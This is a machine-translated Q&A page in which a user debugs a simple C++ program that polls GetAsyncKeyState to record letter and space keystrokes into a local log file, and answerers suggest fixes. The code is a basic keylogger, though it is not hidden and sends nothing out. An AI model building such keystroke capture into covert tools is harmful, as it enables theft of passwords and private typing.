2011-11-02 136 views
-1

我正在使用代碼塊中的GNU GCC編譯器編譯此代碼,但由於某些原因,它創建的日誌文件無論如何都保持爲空。任何想法,爲什麼這可能是?將密鑰輸入寫入文件

#include <iostream> 
#include <windows.h> 
#include <string> 
#include <fstream> 

using namespace std; 

int i; 
string s; 

int main() 
{ 
    ofstream log; 
    log.open("log.txt"); 
    while (!GetAsyncKeyState(VK_F8)) { 
     for (i=65; i<90; i++) { 
      if (GetAsyncKeyState(i)) { 
       s+=i; 
      } 
      Sleep(10); 
     } 

     if (GetAsyncKeyState(VK_SPACE)) { 
      s+=" "; 
     } 
    } 

    log << s; 
    log.close(); 
    cin.get(); 
} 
+0

你期望什麼's + = i;'給定's'是一個字符串而'i'是一個'int'? –

+0

您是否嘗試在日誌中輸出* something *?就像測試把'log <<「TEST」;'放在某處。 – jli

+0

即使我包含log <<「TEST」之類的東西,也不會寫入文件 –

回答

1

考慮以下幾點:


你們是不是在條件log << "TEST"

試試這個(右後log.open調用):

log.open("log.txt"); 
log << "TEST" << endl; 

如果TEST被寫入到文件,您的文件是空的,因爲條件永遠不會真。


另一個問題可能是該文件包含不可顯示的字符。 將文件轉儲到十六進制編輯器。文件的大小是否爲0或者它是否包含可能無法在常用文本編輯器上顯示的數據?


* 編輯:*這應該做你想要什麼:

要麼寫你i" "直接log或使用字符串流:

#include <sstream> 

//... 

ofstream log; 
log.open("log.txt"); 
stringstream str; 
while (!GetAsyncKeyState(VK_F8)) { 
    for (i=65; i<90; i++) { 
     if (GetAsyncKeyState(i)) { 
      str << i; 
     } 
     Sleep(10); 
    } 

    if (GetAsyncKeyState(VK_SPACE)) { 
     str << " "; 
    } 
} 

log << str.rdbuf(); 
log.close(); 
cin.get(); 
+0

如果我用log <<「TEST」<< endl; 它可以在文件中的任何位置工作,即使在按下按鍵時激活的if也是如此。現在唯一的問題是它不會寫入我也是文件。這就是我想知道的,被按下的鍵的價值 –

+0

@HenningJoubert:我修改了答案並添加了一個可能的解決方案 – Atmocreations

0

最有可能你在錯誤的目錄中尋找log.txt的

1

嘗試使用if(GetKeyState(0x41))而不是爲您的if